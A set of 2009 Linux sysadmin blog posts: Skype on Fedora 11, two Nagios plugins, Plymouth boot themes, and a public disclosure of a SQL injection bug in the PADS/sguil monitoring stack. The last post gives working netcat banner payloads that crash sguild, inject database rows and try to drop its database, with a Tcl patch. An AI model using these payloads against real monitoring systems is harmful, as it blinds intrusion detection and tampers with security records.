Getting skype to work – and behave properly – on Fedora 11 is something of chore. The lack of support on skype’s part is almost appalling, given that they’re on version 4.1 for Windows and version 2.0 for Linux at the time of this article’s writing. To be honest, I don’t think I’ve seen a disparity this great in popular chat software since AOL Instant Messenger. I wish that the skype protocol would be released as a public spec so open source versions could be made… unless one exists of which I’m unaware?

Anyway, this leaves us with a couple of options. You could do no video chatting, or you could also use another utility to chat, such as gnome-meeting. I’m going to assume, however, that these aren’t good options for you. Below we’ll embark on the quest of getting skype to behave properly on a 64-bit linux system. For me, this happened to be on Fedora 11. Your mileage may vary.

First, go grab the RPM from the skype website and install it. Pull in the dependencies as well via yum. Then, make sure the packages “libv4l-0.5.9-1.fc11.i586”, “pulseaudio-libs-0.9.15-14.fc11.i586”, and “alsa-plugins-pulseaudio-1.0.20-2.fc11.i586” (or whatever versions you want) are installed.

[root@allmybase-demo ~]# yum -y install libv4l-0.5.9-1.fc11.i586 pulseaudio-libs-0.9.15-14.fc11.i586 alsa-plugins-pulseaudio-1.0.20-2.fc11.i586

First thing’s first, we’ll need to make sure that this library will load properly when skype launches, otherwise there will be no video for skype to send to your chatting partners. To do this, mimic what I’ve done here:

[root@allmybase-demo ~]# mv /usr/bin/skype /usr/bin/skype.proper
[root@allmybase-demo ~]# cat << EOF > /usr/bin/skype
#!/bin/bash
LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so
skype.proper

EOF

What we’ve done here is ensure that skype will be able to communicate properly with the webcam by preloading the 32-bit library file before the execution of the next ELF binary. At this point, fire up skype. Go into the options, and set all of the audio dropboxes to “pulse”. If you’re lucky, sound will work out of the box. If not, you’ll probably get something like this, however:

[brose@allmybase-demo ~]$ skype
RtApiAlsa: underrun detected.
RtApiAlsa: underrun detected.
RtApiAlsa: underrun detected.
RtApiAlsa: underrun detected.
RtApiAlsa: underrun detected.

This seems to be a well-known bug. There have been a variety of “hacks” to make the problem bearable, and some of them do work a bit, but I’m going to present another option here that works quite well. Traditional hacks usually involve changing the nice level of pulse audio such that it runs at a different rate than the fork()’d process sending audio data. By adjusting this finely, one can minimize the impact of the buffer underrun by ensuring that data will ALWAYS be written to the buffer before it’s played.

However, I’m going to make one assumption here, no matter how incorrect it may be. I’m going to say that you’re going to try to keep the computer as quiet as possible while chatting on skype. First, mute or turn off any programs that are actively using the sound on your system. A simple test of this is whether or not there are sounds coming out of your speakers. Now in skype, change the three “sound devices” dropbox settings to the underlying hardware on your system. For me, this was labelled as, “HDA Intel (hw:Intel,0)”. Apply the settings and see if you can now get proper sound on skype by calling the echo123 test number. If so, you’re done. Just remember to always stop your music and audio applications before making a call.

If at this point, however, you get “Problem with audio playback”, it means that you didn’t kill all services using sound. It’s okay, there’s a simple solution. Quit skype, and, from the command line, run it again as:

[brose@allmybase-demo ~]$ pasuspender skype >/dev/null 2>/dev/null&

This will suspend pulseaudio from using the soundcard while the application skype is running. You now can ONLY make sound with skype. To get other programs to make sound after this, you will need to quit skype. But, you can rest assured that your sound will work 100% and that there will be no audible interruptions coming from your computer. This fix does work, I’ve done it and so has Thomas (his link is on the right), and we’ve both made calls, having no problems whatsoever. Hope this helps someone, perhaps leave a comment if it did? Have a good one.

This combines two of my favorite things!! Ok, maybe not FAVORITE persay, but recently, I’ve been writing a lot of nagios plugins. And recently, I’ve been hearing a lot about how the economy has been doing rather poorly. It’s as if the people running the economy need something to monitor it and make sure it’s doing okay.

And thus it was born: [the nagios check_economy plugin].

Right now it just monitors the Dow Jones Industrial Average and reports back on a range that you provide to it. My range at the current moment is warning if <=9000, critical if <=8500. The script will break if the people I'm mooching the stock data from redesign their website. Actually, you could probably even modify this script such that it checks other stock symbols besides DJI. The possibilities are endless! Dependencies include the curl package, an internet connection, and some time to waste. @mstarr, you may wish to file this one under humor. :-)

For the impatient: [Download check_categorized_updates now]

I’ve been writing a lot of nagios plugins lately, and here’s the newest of the group. After googling around, I wasn’t able to find any nagios plugins that would support checking if, in the list of available packages, there were any that fell under the category of “security updates”. You know, like how PackageKit organizes the security updates.

I also decided to take the script one step further. You can specify required packages with the “-r” flag, and if they are found in the possible updates list, even for a feature enhancement, the plugin will report the system as “critical”. Otherwise, it reports as Warning.

Please do note in using this plugin that I parse out the metadata that yum prints by seeing if the output is greater than three lines. This will most definitely change from place to place. Also, this utility requires yum to be installed and it’s been designed on a RHEL/Fedora system. Updating it to use apt-get or the sun updating mechanism shouldn’t be terribly difficult, though, just a matter of changing the grep patterns.

So if the packages “kernel.x86_64” and “libtiff_x86_64” are available to be updates, and libtiff is a security update, here’s what the various combinations of options will return:

# ./check_updates => Warning
# ./check_updates -s => Critical
…
# yum update libtiff
…
# ./check_updates => Warning
# ./check_updates -s => Warning
# ./check_updates -r kernel.x86_64 => Critical
# ./check_updates -s -r kernel.x86_64 => Critical
…
# yum update kernel
…
# ./check_updates => Ok
# ./check_updates -s => Ok
# ./check_updates -r kernel.x86_64 => Ok
# ./check_updates -s -r kernel.x86_64 => Ok

Mayhaps this should be better called “getting rid of the blue and white bar loading screen in Fedora 11”, because that was the goal I had in mind when I set out on this mission. I’d like to officially say that [this guy] is just totally incorrect. He reviews Fedora 11 booting as, and I quote here,

“First, the loading screen is a simple blue loading bar. Second, the boot process is extremely quick. Does the first have anything to do with the second? It sure does. The Fedora 11 development team has decided to go with speed instead of looks during the boot process and I think Fedora 11 users will be thrilled with this small change to speed up the LiveCD boot time.”

HE’S CORRECT, I’M SO THRILLED!!! One main reason I find this funny — he assumes he knows exactly what the Fedora development team had in mind when designing this blue bar loading screen, yet he’s not a developer on the team. Nor is he correct. Nor did he even read the release notes or improvements list. Nope, not a single piece of knowledge, data, or documentation to back up this claim.

The truth? The dev team did work very hard on the boot process, and the fruit of their labors is the plymouth codebase. The blue/light-blue/white loading bar? Yeah, that’s actually a fallback when the graphical plymouth booting mechanism fails. Great job doing your homework! So we’ve established two things here, that there’s at least one page on the internet with incorrect information, and that, if you are experiencing the fedora 11 blue bar boot (say THAT one three times fast), you can actually attain a prettier boot process.

This how-to is written both from memory, and specifically for my laptop, which I was attempting to spruce up with a nice graphical boot. If it’s inaccurate, sorry about that, but you can certainly use the base I’m giving you here as a launching point for further research.

First, my laptop has an NVidia GPU in it, so it was necessary to download the proprietary NVidia drivers and install them. I did not install the 32-bit compatibility libraries, since if I do, the NVidia installer says something to the effect of, “Could not check random component #9662, assuming successful installation”. Well NVidia, you know what happens when you assume things… Anyway, once you’ve gotten the nvidia kernel module installed, edit /etc/modprobe.d/blacklist.conf and blacklist the modules “nv” and “nouveau” to prevent them from being loaded. We only want the proprietary driver to be loaded here. Make sure you update /etc/X11/xorg.conf as well and tell it to use the nvidia module.

Next, we need to make the framebuffer have the optimal settings, that way plymouth won’t die and fall back to the blue bar loading screen. Append to the end of the kernel line in /boot/grub/grub.conf the text “vga=ask” and reboot. The kernel will prompt you for a video mode. I recommend typing “scan” here and striking return abruptly, as we want to make sure all available modes are listed. And yes, the abrupt manner with which the enter key is pressed is important. So yeah, pick which mode fits your screen the best, for me it was 1920x1200x32, which had a hex code of like 37D or something. Like I said, this is all from memory. Now, write down this hex code somewhere, because you’ll need it again shortly. After the machine boots, find a calculator and convert the hex code you just entered into the kernel into decimal, then place the decimal value in the /boot/grub/grub.conf file, replacing the “ask” with your number. Mine resolved to decimal “893”, so I ended up with “vga=893” on the kernel line. Congrats, you have now made a hospitable environment with which plymouth can bedazzle you.

Okay, now it’s time to configure the workhorse. We’ll need the appropriate utilities, so run this:

# yum install plymouth plymouth-gdm-hooks plymouth-libs plymouth-plugin-label plymouth-plugin-two-step plymouth-scripts plymouth-system-theme plymouth-theme-charge plymouth-utils

Honestly, most of these were probably already installed, but it never hurts to make absolutely sure. Now, recall before where we compiled the NVidia driver? We’ll need that to be loaded during the boot process so that plymouth can come up. This means that we’ll need a new initrd containing the NVidia module. This is also the purpose of blacklisting the nv and nouveau modules, as they now won’t get included into the initrd. I’ve become Canadian lazy lately, so you can run this command to see how to build a new initrd:

# rpm -aq –scripts kernel | grep initrd

A list of 2 or 4 commands will show up from that. Now find the appropriate one and run it. For me, that was:

# /sbin/new-kernel-pkg –package kernel –mkinitrd –depmod –install 2.6.29.5-191.fc11.x86_64

Voila, one new shiny initrd. But the initrd isn’t quite done yet. We need to update plymouth’s hooks into it. First, we’ll want to select a theme for initrd to use. I’ve made sure, at the very least, you’ve installed the “charge” theme in the yum command above. There’s plenty more in the repos, feel free to search for more, install them, and play around. Some are very neat. Anyway, to see which themes are available, do something like this:

# ls -1 /usr/share/plymouth/themes/
charge
default.plymouth
details
text

As you can see, I have a couple of themes installed, but let’s focus on the charge theme. Set it as the default theme, and then update it’s initrd hooks by running, in order:

# plymouth-set-default-theme charge
# /usr/libexec/plymouth/plymouth-update-initrd

Note: This entire abovesaid process needs to be redone for each NVidia driver or kernel update, otherwise it’ll be broken and fall back to the blue bars again.

Now, reboot and enjoy the pretty loading screen. Now there’s only one issue you’ll need to figure out from here on out that I can’t seem to work out, and that’s when to reboot in order to enjoy the loading screen anyway. I mean, if you followed this tutorial, you’re clearly running Linux, which means you’ll probably not need to reboot any time soon. Effectively, you may have just wasted a good 15 minutes setting up a boot screen you’ll never really enjoy too much. Thanks for reading my blog, though, I do appreciate it. I promise next time I’ll include a spoiler warning at the top of the article. Have a nice day! 🙂

DISCLAIMER: I have nothing but respect for the sguil, snort, PADS, and other associated development teams. Because of their efforts, I have the tools that I need available to me at no direct cost. They are truly wonderful people, and in speaking with them, I have found that they are also extremely professional and courteous. I am only making this bug report public because I filed it more than a month ago in private, and no action has since been taken, no patches released, nor any mention made of it. It is a truly very serious bug, and should it turn up in the wrong hands, could lead to a braindead network monitoring system.

I happened to be monitoring a sguil daemon on a box appropriately named snort-mgmt in full debug mode. Sguild randomly died from time to time, maybe once a week. It was very rare and sparse. I happened to catch the problem while running it, and found the culprit of the problem.

Someone on our network had started a new httpd server, and PADS had picked up on it. The banner included “: The world’s best http server.”. Sguild died on a mysql error, and printed the exact error from mysql, saying there was a syntax error. It seemed that nowhere along the way was pads, pads_agent, or sguild sanitizing the SQL input.

Knowing this, I started a few tests. I ran on one of the sensor boxes:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);drop^Mdatabase^Msguildb;–” | nc -l 1050

and then telnet’d to it from my desktop. PADS picked up the banner packet, and passed it along exactly as it was sent. It has a 100% success rate on taking down sguild, though the above example of dropping the central database did not work, as PADS seems to parse out the whitespace. Perhaps someone more clever than myself could get the database drop to work. The injection of the deadbeefcafe did work, however, which is even worse than just taking down the management server. I ran a mysql query and found an event with hex_value ‘deadbeefcafe’, so I can confirm the injection works.

This in mind, I attempted to write a small fix to patch the problem. I was originally going to sanitize the output straight out of PADS, but PADS seems to use libpcap for that functionality, and I’d rather not go down to that level to solve a product-specific issue. So I went to the next step, the pads_agent. In pads_agent.tcl, I changed the function “GetFifoData { fifoID}” to read as such:

# PADS writes out a field per line ended with a “.” on its own.
if { $data != “.” } {

if { $DEBUG } { puts “New line from FIFO: $data” }
set data [string map {‘ \\’} $data]
lappend dataList $data

} else {

if { $DEBUG } { puts “ProcessData: $dataList” }
ProcessPadsData $dataList
set dataList “”

}

The difference being the set data string map line. I had to learn a bit of tcl to implement this. It’s not the best or most elegant fix in the world, the right way to fix this bug is to parameterize all of the MySQL calls. Upon testing the exact same command designed to break the system above, but netcatting on a different port so PADS picks it up properly again, the change worked. sguild didn’t die, and the information got put into the database successfully.

So here’s the final exploit, for those impatient people.

TO BRING THE SERVER DOWN (ungraceful, somewhat noticeable crash):

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);–” | nc -l 7777

…and then telnet to port 7777 from a different box.

TO INJECT DATA INTO THE SGUIL MYSQL DATABASE:

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’)–” | nc -l 8888

…and then telnet to port 8888 from a different box.

End result and proof of concept:

mysql> use sguildb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from pads where `hex_payload`=’deadbeefcafe’;
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| hostname | sid | asset_id | timestamp | ip | service | port | ip_proto | application | hex_payload |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| sensor1test2 | 1 | 7 | 2009-06-08 14:28:02 | 2886732921 | ssh | 1061 | 6 | OpenSSH 1.4 | deadbeefcafe |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
1 row in set (0.01 sec)